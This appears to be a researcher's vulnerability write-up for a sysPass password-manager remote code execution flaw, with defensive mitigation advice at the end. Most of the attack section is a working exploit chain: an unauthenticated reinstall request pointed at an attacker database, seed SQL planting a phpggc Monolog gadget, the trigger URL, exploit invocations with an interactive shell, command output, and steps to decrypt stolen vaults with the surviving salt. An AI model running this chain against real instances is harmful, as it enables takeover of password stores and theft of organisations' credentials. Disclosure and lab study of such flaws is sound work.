CVE-2026-129110, Unauthenticated RCE in sysPass

TL;DR

sysPass 3.0.1 through 3.2.11 lets anyone on the network run the installer again on an instance that is already installed. By pointing the reinstallation at a MySQL or MariaDB server I control, I can feed the application a crafted serialized PHP object through the PublicLink table, and sysPass deserializes it when the public link is opened. The result is remote code execution as the web server user, with no credentials at all, on an application whose whole purpose is to store passwords.

Background

sysPass is an open source, PHP based password manager for teams. You install it on your own server, and it keeps every credential your organization trusts it with, encrypted with a master password.

In June 2023 I was reading the sysPass source and noticed how often it calls unserialize(). That alone is not a vulnerability, but the class loader includes Monolog 1.x, which has well known gadget chains in phpggc; phpseclib 2.x is bundled as well, though the phpggc chain for it stops at 2.0.34. So the question became simple: can someone without an account get attacker controlled data into one of those unserialize() calls? It turned out to be possible, and I had a working exploit in my lab on June 8, 2023, more than three years before the CVE was published.

Finding an unauthenticated way in

I listed every route the web module exposes and looked for the ones that do not require a session. One of them stood out:

1
POST /index.php?r=install/install

Here is the controller in 3.2.11 (app/modules/web/Controllers/InstallController.php). indexAction(), which only renders the installer page, checks whether sysPass is already installed:

1
2
3
4
5
6
7
8
9
public function indexAction()
{
    if ($this->configData->isInstalled()) {
        $this->router->response()
            ->redirect('index.php?r=login');
        return;
    }
    ...
}

installAction(), the one that actually does the work, has no such check:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public function installAction()
{
    $installData = new InstallData();
    ...
    $installData->setDbAdminUser($this->request->analyzeString('dbuser', 'root'));
    $installData->setDbAdminPass($this->request->analyzeEncrypted('dbpass'));
    $installData->setDbName($this->request->analyzeString('dbname', 'syspass'));
    $installData->setDbHost($this->request->analyzeString('dbhost', 'localhost'));
    ...
    $this->dic->get(Installer::class)->run($installData);
}

protected function initialize()
{
    // TODO: Implement initialize() method.
}

On top of that, the install controller is listed in Init::PARTIAL_INIT (app/modules/web/Init.php), so the bootstrap skips both the “is it installed” gate and the session handling for it. In practice, anyone who can reach the login page can reinstall the application, choose the database host and credentials, and set a new admin account and master password.

That is already a full takeover of the application. But it also gives me something more interesting: control over every row sysPass reads from its database.

The installer expects some fields (adminpass, masterpassword, dbpass) to be encrypted with the instance’s RSA public key. That is not a barrier, because the key is served to anonymous users:

1
GET /index.php?r=bootstrap/getEnvironment&isAjax=1

The JSON response contains pki_key, and I just encrypt my values with it.

Turning database control into code execution

The public link feature lets a user share one account with someone outside sysPass through a URL containing a hash. Opening that URL does not require authentication. The handler in AccountController.php (line 228 in 3.2.11) does this:

1
2
3
4
5
6
7
8
$publicLinkData = $publicLinkService->getByHash($hash);

if (time() < $publicLinkData->getDateExpire()
    && $publicLinkData->getCountViews() < $publicLinkData->getMaxCountViews()
) {
    ...
    /** @var Vault $vault */
    $vault = unserialize($publicLinkData->getData());

The data column of the PublicLink table goes straight into unserialize() with no allowed_classes restriction. Normally only sysPass writes to that column. After the reinstallation, the database is mine.

The full chain

My lab used the official syspass/syspass Docker image (3.2.3) as the target and a MariaDB 10.6.28 server as the attacker database. I also verified the same chain against 3.2.11, the last upstream release, and against a database account that had privileges only on the application database, without root. The image bundles PHP 7.3.31, Monolog 1.27.0 in 3.2.3 and 1.27.1 in 3.2.11, and phpseclib 2.0.37 in both. No third party systems were involved.

  1. Get the public key. Send GET /index.php?r=bootstrap/getEnvironment&isAjax=1 to the target and read pki_key.

  2. Reinstall the target against my database. Send POST /index.php?r=install/install with dbhost, dbuser, dbpass and dbname pointing at my database server, plus new admin and master passwords, all encrypted with the key from step 1. sysPass connects to my server, creates its tables there and saves the new configuration. The exploit uses the installer’s hosting mode: it creates the database first, and sysPass reuses the supplied database credentials. That account does not need to be root; privileges on that one database are enough.

  3. Plant the gadget. The public link lookup (getByHash) uses INNER JOINs on User and Account, and Account has foreign keys to Client, Category and UserGroup. The admin User row already exists from the reinstall, so the supporting Client, Category, UserGroup and Account rows have to be present before the PublicLink row can be read:

    1
    2
    3
    4
    5
    6
    7
    8
    
    INSERT IGNORE INTO Client (id,name,hash,description,isGlobal) VALUES (1,'c','','',1);
    INSERT IGNORE INTO Category (id,name,description,hash) VALUES (1,'cat','','catx');
    INSERT IGNORE INTO UserGroup (id,name,description) VALUES (1,'g','');
    INSERT INTO Account (id,userGroupId,userId,userEditId,clientId,name,categoryId,login,url,pass,`key`,notes,countView,countDecrypt,dateAdd)
      VALUES (1,1,1,1,1,'a',1,'u','',0x00,0x00,'',0,0,NOW()) ON DUPLICATE KEY UPDATE name='a';
    DELETE FROM PublicLink;
    INSERT INTO PublicLink (id,itemId,hash,data,userId,typeId,notify,dateAdd,dateExpire,dateUpdate,countViews,totalCountViews,maxCountViews,useinfo)
      VALUES (1,1,'exploit',UNHEX('<phpggc output, hex encoded>'),1,1,0,UNIX_TIMESTAMP(),UNIX_TIMESTAMP()+100000,0,0,0,10000,'a:0:{}');
    

    The payload comes from Monolog, 1.27.0 in 3.2.3 and 1.27.1 in 3.2.11:

    1
    
    phpggc Monolog/RCE1 system 'id'
    

    The other bundled gadget library, phpseclib 2.0.37, is outside the range of PHPSecLib/RCE1 (2.0.0 through 2.0.34), so that chain does not apply to this image.

  4. Trigger it. Request GET /index.php?r=account/viewLink/<hash> on the target, which for the row above is GET /index.php?r=account/viewLink/exploit. sysPass loads the row from my database, calls unserialize() on the payload, the gadget chain fires, and the command runs on the target as the web server user.

From there the exploit keeps an interactive shell: each command is written into PublicLink and executed by the next request, and its output is returned in the HTTP response.

One practical detail: during a normal installation sysPass creates its own MySQL user and grants it access from the host the target sees. The exploit avoids that by using the installer’s hosting mode, which reuses the supplied database credentials, so an unprivileged account scoped to one database is enough. If you drive the installer in non-hosting mode, you may have to adjust the sp_* user’s host in mysql.user and mysql.db on your server so the target can keep connecting after the installation finished. That is a property of the lab setup, not a mitigation.

What happens to the data that is already there

Two different things get confused here, so it is worth separating them.

The DELETE FROM PublicLink in the exploit only touches my own database. It runs on the server I control, against rows the exploit just created, and it exists because PublicLink has a unique key on itemId, so the link row is replaced instead of accumulating. The target’s PublicLink table is never touched.

The installer does drop tables, in whatever database it is pointed at. createDBStructure() runs schemas/dbstructure.sql, which contains 31 DROP TABLE IF EXISTS and 4 DROP VIEW IF EXISTS statements, against the database named in dbname. In this chain that database is mine, so the target’s data survives. Point dbname at the target’s own database and those tables and views are gone. I confirmed this in the lab against a database holding a marker row: after the install, the table and the row no longer existed.

The target’s original database is left intact. After several attacks against the same instance, the original Account row and its encrypted password were still there, byte for byte. What the attack destroys is the pointer. The installer rewrites app/config/config.xml with the new database host, name and password, and calls saveConfig($configData, false), so no configuration backup is written and no .bak file is left behind. After the attack, nothing under /var/www or /var/log still contained the old database name or user. The application can no longer reach its own data, but the data itself is not gone.

One field in that rewritten file does survive, and it matters: passwordSalt. I measured it before and after an attack and it was identical, because config.xml already existed and the salt is only generated when the file is absent. That single value turns a stale database dump into readable passwords.

Can the stored passwords be read?

Not from the ciphertext alone, and not with the data the attack itself leaves behind. Account.pass is encrypted with a random 32-byte key, and that key is wrapped by the master password and stored next to it in Account.key. The wrapping is PBKDF2-SHA256 at 100000 iterations; the ciphertext is AES-256-CTR with an HMAC-SHA256 tag, hex encoded, which is why Account.pass starts with def50200 and Account.key starts with def10000. Config.masterPwd is only a bcrypt hash at cost 10, so it verifies a guess but yields nothing.

That leaves two ways in, and both need something the exploit does not produce by itself.

Offline, from a database dump plus one user’s login password. The master password is wrapped per user in User.mPass and User.mKey, under a key derived as trim(userPass . userLogin . passwordSalt). Since passwordSalt survives the attack, an attacker holding an old dump only needs one user’s login password to unwrap the master password, and then every Account.pass in that dump. I ran exactly that against the lab instance:

1
2
master password: OrigMasterPass1!
account 1 (lab-target-account): SuperSecretLab123!

No live session, no running application, no interaction with the target. Just the dump, the salt from config.xml, and the admin’s login password. This is the realistic path after a breach, because dumps and reused passwords travel separately.

From a live session, with code execution. sysPass keeps the master password in the PHP session, encrypted with a Vault whose key is session_id() . sidStartTime, and both values sit in the session file. Running as www-data, with a session file and the Account row in hand, I recovered the same two values. The catch is finding the session file: /var/lib/php/sessions is mode 1733, so www-data can read a file whose name it knows but cannot list the directory, and sysPass’s own log records no session identifiers. A session id has to come from somewhere else, such as a reverse proxy that logs cookies.

So the honest summary: this chain gives full application takeover and code execution, and it severs the application from its vault. It does not, by itself, decrypt the stored passwords. What makes the loss total is the combination: the salt stays, the ciphertext usually survives somewhere, and a single reused user password then opens the whole vault.

Reproducing it

The whole lab fits in a few Docker commands. The target listens on port 18080, and the attacker database is a MariaDB container on the same network, reached with an account scoped to a single database:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
docker network create syspass-lab
docker run -d --name lab-db --network syspass-lab \
  -e MARIADB_ROOT_PASSWORD=rootpass mariadb:10.6
docker run -d --name victim --network syspass-lab \
  -p 18080:80 syspass/syspass:3.2.3
docker exec lab-db mysql --skip-ssl -u root -prootpass -e "
  CREATE USER 'spowner'@'%' IDENTIFIED BY 'ownerpass';
  GRANT ALL PRIVILEGES ON \`syspass\`.* TO 'spowner'@'%';
  FLUSH PRIVILEGES;"

# attacker side: PHP with openssl, phpggc and the mysql client
docker run -d --name tools --network syspass-lab \
  -v "$PWD":/work php:8.2-cli sleep infinity
docker exec tools bash -c 'apt-get update -qq &&
  apt-get install -y -qq --no-install-recommends python3 mariadb-client git &&
  git clone -q --depth 1 https://github.com/ambionics/phpggc /opt/phpggc'

The -v "$PWD":/work mount assumes the exploit file is in the current directory. If you cloned the repository instead, mount that directory in its place.

Then run the exploit from that container, which is on the same network and can resolve both names:

1
2
3
4
5
docker exec tools python3 /work/exploit-CVE-2026-129110.py \
  --target http://victim \
  --db-host lab-db --db-user spowner --db-pass ownerpass \
  --db-name syspass --phpggc /opt/phpggc/phpggc \
  --cmd 'id'

The run reports each step and ends with the output of the command, taken from the response body:

1
2
3
4
5
[*] install/install -> HTTP 200: {"status":0,"description":"Installation finished",...}
[+] Rows planted on the attacker DB.
[*] Step 5: executing 'id' through the public link (CWE-502)
[+] Command output (HTTP 200):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Full exploit

The exploit is published at github.com/psylinux/CVE-2026-129110-sysPass. It automates every step above, from fetching the key to an interactive shell, and then:

  1. reads pki_key and encrypts the install fields with it;
  2. creates the database and posts the reinstall in hosting mode, so the same account is reused and no sp_* user is created;
  3. seeds Client, Category, UserGroup, Account and PublicLink, with a fresh Monolog gadget for each command;
  4. requests the public link and cuts the command output out of the response between two random markers.

The interface is deliberately small:

1
2
3
4
5
6
python3 exploit-CVE-2026-129110.py \
  --target http://VICTIM:PORT \
  --db-host ATTACKER_DB_HOST --db-user ATTACKER_DB_USER \
  --db-pass ATTACKER_DB_PASS --db-name syspass \
  --phpggc /path/to/phpggc \
  --cmd 'id; ls -la /var/www/html/sysPass'

With --shell, steps 3 and 4 repeat for every command typed, which gives an interactive remote shell over plain HTTP without writing a file to the target. With --print-sql, the script prints the seed SQL and the trigger URL instead of touching the database, for operators who cannot run the mysql client from their own host. --hash chooses the public link hash and --mysql-connect-host covers the case where the attacker host resolves the database under a different name than the victim does.

Two behaviours are worth calling out, because they were bugs in earlier drafts. The script refuses to continue when the installer does not report success, instead of walking on with a database that was never seeded. And it captures the command output from the response body, including when the request ends in a PHP fatal error, which is the normal outcome once the gadget has fired.

One limit that the tool does not hide: it does not decrypt the stored passwords. That needs the old ciphertext plus the master password, as the previous section describes.

Impact

For a password manager, that is about as bad as it gets.

Who is affected

Every sysPass instance from 3.0.1 through 3.2.11 that can be reached over the network. 3.2.11 is the last upstream release, and the upstream repository has had no commits since July 2022.

Fix and mitigation

There is no upstream patch and there will not be one. The original author has confirmed the project is no longer maintained.

The maintained fork, OpusProjects/sysPass, has fixed both problems:

If you run upstream sysPass:

  1. Migrate to the OpusProjects fork, or to another maintained password manager.
  2. If you cannot migrate right away, block index.php?r=install/install (and ideally the whole install route) at your reverse proxy or web server.
  3. Do not expose sysPass to the internet. Put it behind a VPN or an authenticating proxy.
  4. Restrict outbound connections from the sysPass host so it cannot reach arbitrary database servers.
  5. Review config.xml and your database host settings for unexpected changes, and treat any instance that was exposed as potentially compromised.
  6. If an instance was exposed, assume every stored password is compromised. Rotating them is the only remediation: changing the master password does not help, because the salt and the old ciphertexts remain enough for anyone holding both.

Disclosure timeline

Credits

This vulnerability was discovered by Marcos Azevedo in June 2023. The route enumeration, the reading of Init::PARTIAL_INIT, the gadget selection and the initial proof of concept were done by hand, without using AI (Artificial Intelligence) tools, in the lab, over several days in June 2023. In 2026, AI was used to improve the exploit: to review the chain, and to fix the installation path.

Thanks to Scott Moore and the VulnCheck CNA team for reviewing my evidence and adding me as an additional finder, to the researcher who reported the same chain to VulnCheck first, and to the OpusProjects maintainers for keeping sysPass alive and fixing it.

References